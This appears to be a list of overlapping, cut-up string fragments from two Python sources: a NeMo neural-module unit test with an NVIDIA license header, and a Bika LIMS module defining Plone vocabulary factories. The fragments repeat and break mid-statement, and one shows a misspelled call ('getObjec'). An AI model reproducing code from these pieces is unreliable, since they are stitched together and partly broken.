"x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None, ntype=NeuralType(elements_type=ChannelType(), axes=('B', 'D')), ) tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4)",
"coding: utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. #",
"bad/useless - redo import unittest import nemo from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_types",
"x was used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source",
"or agreed to in writing, software # distributed under the License is distributed",
"= nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss = nemo.backends.pytorch.tutorials.MSELoss() x, y = data_source() y_pred = trainable_module(x=x) loss_tensor",
"abstract methods. TestNM1.__abstractmethods__ = set() TestNM2.__abstractmethods__ = set() def test_default_init_params(self): simple_nm = TestNM1(var1=1)",
"or implied. # See the License for the specific language governing permissions and",
"utf-8 -*- # ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. # #",
"used y_pred = tn(x=x_tg) self.assertEqual(y_pred.producer, tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000,",
"distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT",
"CONDITIONS OF ANY KIND, either express or implied. # See the License for",
"var3=3): super(TestNM1, self).__init__() class TestNM2(TestNM1): def __init__(self, var2): super(TestNM2, self).__init__(var2=var2) class TestNeuralModulesPT(NeMoUnitTest): def",
"# TODO: These test look bad/useless - redo import unittest import nemo from",
"Apache License, Version 2.0 (the \"License\"); # you may not use this file",
"the License. # ============================================================================= # TODO: These test look bad/useless - redo import",
"OR CONDITIONS OF ANY KIND, either express or implied. # See the License",
"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"= data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers' bookkeeping",
"with the License. # You may obtain a copy of the License at",
"2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm = TestNM1(var1=10, var3=30) init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"],",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"y = data_source() y_pred = trainable_module(x=x) loss_tensor = loss(predictions=y_pred, target=y) # check producers'",
"Copyright 2020 NVIDIA. All Rights Reserved. # # Licensed under the Apache License,",
"init_params = simple_nm.init_params self.assertEqual(init_params[\"var1\"], 1) self.assertEqual(init_params[\"var2\"], 2) self.assertEqual(init_params[\"var3\"], 3) def test_simple_init_params(self): simple_nm =",
"in writing, software # distributed under the License is distributed on an \"AS",
"test_nested_init_params(self): simple_nm = TestNM2(var2=\"hello\") init_params = simple_nm.init_params self.assertEqual(init_params[\"var2\"], \"hello\") def test_constructor_TaylorNet(self): tn =",
"tn = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) self.assertEqual(tn.init_params[\"dim\"], 4) def test_call_TaylorNet(self): x_tg = nemo.core.neural_modules.NmTensor( producer=None, producer_args=None, name=None,",
"These test look bad/useless - redo import unittest import nemo from nemo.backends.pytorch.nm import",
"tn) self.assertEqual(y_pred.producer_args.get(\"x\"), x_tg) def test_simple_chain(self): data_source = nemo.backends.pytorch.tutorials.RealFunctionDataLayer(n=10000, batch_size=1) trainable_module = nemo.backends.pytorch.tutorials.TaylorNet(dim=4) loss",
"TODO: These test look bad/useless - redo import unittest import nemo from nemo.backends.pytorch.nm",
"under the Apache License, Version 2.0 (the \"License\"); # you may not use"
] |
[] |
[
"self.value = value if value else self.value self.contentFilter = \\ contentFilter if contentFilter",
"from the my.product add-on located in templates/stickers, and with a filename \"EAN128_default_small.pt\", the",
"{'id': <template_id>, 'title': <template_title>} If the template lives outside the bika.lims add-on, both",
"select only active objects, unless other instructions # are explicitly specified: wf =",
"source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory)",
"the bika.lims add-on, both the template_id and template_title include a prefix that matches",
"] for name, item in getAdapters((context, ), ICustomPubPref): items.append(item) return SimpleVocabulary.fromItems(items) CustomPubPrefVocabularyFactory =",
">>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>>",
"== 'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in",
"= [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\"",
">>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object",
"item.Title()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in",
"allow_blank else [] for brain in brains: if self.key in brain and self.value",
"is evil. A vocabulary shouldn't be request specific. # The sorting should go",
"items_list = [(k, v) for k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1],",
"the Bika LIMS path specified plus the templates from the resources directory specified",
"with a filename \"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product:",
"of roles >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name",
"plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1')",
"def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return",
"__call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None) items = []",
"for i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class",
"getARReportTemplates(): \"\"\" Returns an array with the AR Templates available in Bika LIMS",
"cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in objects] xitems = [SimpleTerm(i[1],",
">>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import",
"getTemplates(bikalims_path, restype): \"\"\" Returns an array with the Templates available in the Bika",
"additional product (restype). Each array item is a dictionary with the following structure:",
"from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import",
"= getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id",
"id, but with whitespaces and without extension. As an example, for a template",
"ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user to set the default \"\"\"",
"= layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool",
"def getTemplates(bikalims_path, restype): \"\"\" Returns an array with the Templates available in the",
"SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import getSite",
"in Bika LIMS plus the templates from the 'reports' resources directory type from",
"ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary()",
"= getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...>",
"= queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects)",
"'title': <template_title>} If the template lives outside the bika.lims add-on, both the template_id",
"= brain.getObjec() key = obj[self.key] key = callable(key) and key() or key value",
"for k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k,",
"ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'),",
"def __call__(self, context): translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch',",
"'pdf') ] for name, item in getAdapters((context, ), ICustomPubPref): items.append(item) return SimpleVocabulary.fromItems(items) CustomPubPrefVocabularyFactory",
"class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We find them by listing",
"site = getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'),",
"True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is anbled, #",
"in <restype> resource dir, and with a filename \"My_cool_report.pt\", the dictionary will look",
"with the following structure: {'id': <template_id>, 'title': <template_title>} If the template lives outside",
"o in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue objects.sort(lambda",
"source.by_value True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles",
"= 'UID' value = 'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context =",
"class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME",
"or key value = obj[self.value] value = callable(value) and value() or value items.append((key,",
"class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class",
"be an adapter request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items =",
"containing users in the specified list of roles >>> from zope.component import queryUtility",
"[portal_types, ] def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None)",
"translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for i in",
">>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>>",
"x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory)",
"for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def",
"getStickerTemplates(): \"\"\" Returns an array with the sticker templates available. Retrieves the TAL",
"[SimpleTerm(i[0], i[0], i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class",
"self.roles = roles if isinstance(roles, (tuple, list)) else [roles, ] def __call__(self, context):",
"One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite() request",
"Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import implements from pkg_resources",
"\"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'],",
"implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()]",
"self.key = key if key else self.key self.value = value if value else",
"items = [('', '')] if allow_blank else [] for brain in brains: if",
"items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in getAdapters((context, ),",
"= getattr(brain, self.key) value = getattr(brain, self.value) else: obj = brain.getObjec() key =",
">>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration",
"['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint',",
"getSite import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\"",
"in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow'",
"the template lives outside the bika.lims add-on, both the template_id and template_title include",
"= key if key else self.key self.value = value if value else self.value",
"with a filename \"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product:",
"= [(k, v) for k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1]))",
"zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import getSite import os",
"__init__(self, context, key=None, value=None, contentFilter=None): self.context = context self.key = key if key",
">>> util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ...",
"None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i",
"xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal types,",
"title = title.replace('_', ' ') title = title.replace(':', ': ') out.append({'id': template, 'title':",
"= [SimpleTerm(i[1], i[1], i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary()",
"BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We find them by listing folder",
"zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util",
"value = getattr(brain, self.value) else: obj = brain.getObjec() key = obj[self.key] key =",
"'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for",
"at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object",
"i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\"",
"'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users>",
"if wftool is None: return SimpleVocabulary([]) # XXX This is evil. A vocabulary",
"import TEST_USER_ID >>> from plone.app.testing import setRoles >>> from plone.app.testing import login >>>",
"queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>>",
"for really user friendly portal types, filtered to return only types listed as",
"from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from",
"SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority',",
"portal_types or [portal_types, ] def __call__(self, context): site = getSite() request = aq_get(site,",
"\\ folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types",
"getSite() request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in",
"self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in",
"wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in",
"]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array with the Templates available in",
"portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>>",
"'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source =",
"list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in",
"('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1])",
"self.value self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs): site",
"'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context = context self.key = key",
"for a template from the my.product add-on located in templates/reports dir, and with",
"= templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts)",
"prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl",
"'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1",
"zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory",
"in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def",
"['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints',",
"additional product. Each array item is a dictionary with the following structure: {'id':",
"for /plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>>",
"item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in",
"a dictionary with the following structure: {'id': <template_id>, 'title': <template_title>} If the template",
"AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary):",
"from the resources directory specified and available on each additional product (restype). Each",
">>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name)",
"Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'],",
"template from the my.product add-on located in templates/reports dir, and with a filename",
"import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import getSite import os import",
"]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ])",
"prefix = templates_resource.__name__ if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts =",
"') out.append({'id': template, 'title': title}) return out def getARReportTemplates(): \"\"\" Returns an array",
"report'} \"\"\" # Retrieve the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path)",
"that matches with the add-on identifier. template_title is the same name as the",
"[] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower()))",
"source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple,",
"template_id and template_title include a prefix that matches with the add-on identifier. template_title",
"__call__(self, **kwargs): site = getSite() request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site,",
"class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user to set the default",
"'inactive_state') == 'active'] if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems",
"AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>>",
"title=u'%s' % v) for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\",
"'')] if allow_blank else [] for brain in brains: if self.key in brain",
"for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with",
"\\ contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs): site = getSite() request",
"kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow",
"explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type']",
"= queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>>",
"available in Bika LIMS plus the templates from the 'reports' resources directory type",
"tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at",
"import getSite import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query.",
"key else self.key self.value = value if value else self.value self.contentFilter = \\",
"AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype):",
"... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source",
"= SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory =",
"class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal types, filtered to return",
">>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates'",
"= callable(key) and key() or key value = obj[self.value] value = callable(value) and",
"templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims': continue dirlist =",
">>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One')",
"IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import",
"__init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple, list)) else [roles, ] def",
"product (restype). Each array item is a dictionary with the following structure: {'id':",
"translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for i in types] return SimpleVocabulary(items)",
"\"\"\"Vocabulary factory for workflow states. >>> from zope.component import queryUtility >>> portal =",
"<MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary",
"cool report'} \"\"\" # Retrieve the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\",",
"# Retrieve the templates from bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\",",
"Present Client Contacts >>> from zope.component import queryUtility >>> portal = layer['portal'] >>>",
"name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME",
"template in templates: title = template[:-3] title = title.replace('_', ' ') title =",
"brains: if self.key in brain and self.value in brain: key = getattr(brain, self.key)",
"ARReport templates to allow user to set the default \"\"\" implements(IVocabularyFactory) def __call__(self,",
"= site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types:",
"like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve the templates",
">>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 =",
"portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>>",
"None) items = [] wf = site.portal_workflow for folder in self.folders: folder =",
"add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for",
"= [('', '')] if allow_blank else [] for brain in brains: if self.key",
"specified list of roles >>> from zope.component import queryUtility >>> portal = layer['portal']",
"\"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key = 'UID' value =",
"item.getId()) for item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1],",
"('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) )",
"'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate",
"dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" #",
"x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for k, v",
"setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm()",
"for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self):",
"'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve the templates from bika.lims add-on",
"from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>>",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array with",
"= 'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context = context self.key =",
"callable(key) and key() or key value = obj[self.value] value = callable(value) and value()",
"['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client',",
"= value if value else self.value self.contentFilter = \\ contentFilter if contentFilter else",
"templates.sort() for template in templates: title = template[:-3] title = title.replace('_', ' ')",
"TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util",
"'my.product: My cool report'} \"\"\" # Retrieve the templates from bika.lims add-on templates_dir",
"y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for k, v in",
"['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation',",
"'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite()",
"= resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in",
"templates.extend(exts) out = [] templates.sort() for template in templates: title = template[:-3] title",
"= ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = []",
"items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for",
"catalog(self.contentFilter) items = [('', '')] if allow_blank else [] for brain in brains:",
"Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items =",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"TAL templates saved in templates/stickers folder. Each array item is a dictionary with",
"add-on located in <restype> resource dir, and with a filename \"My_cool_report.pt\", the dictionary",
"from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from",
"items = [SimpleTerm(i[0], i[0], i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory =",
"BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal types, filtered to return only",
"__call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out)",
"layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool =",
"portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>>",
"x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter:",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self):",
"contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source =",
"Each array item is a dictionary with the following structure: {'id': <template_id>, 'title':",
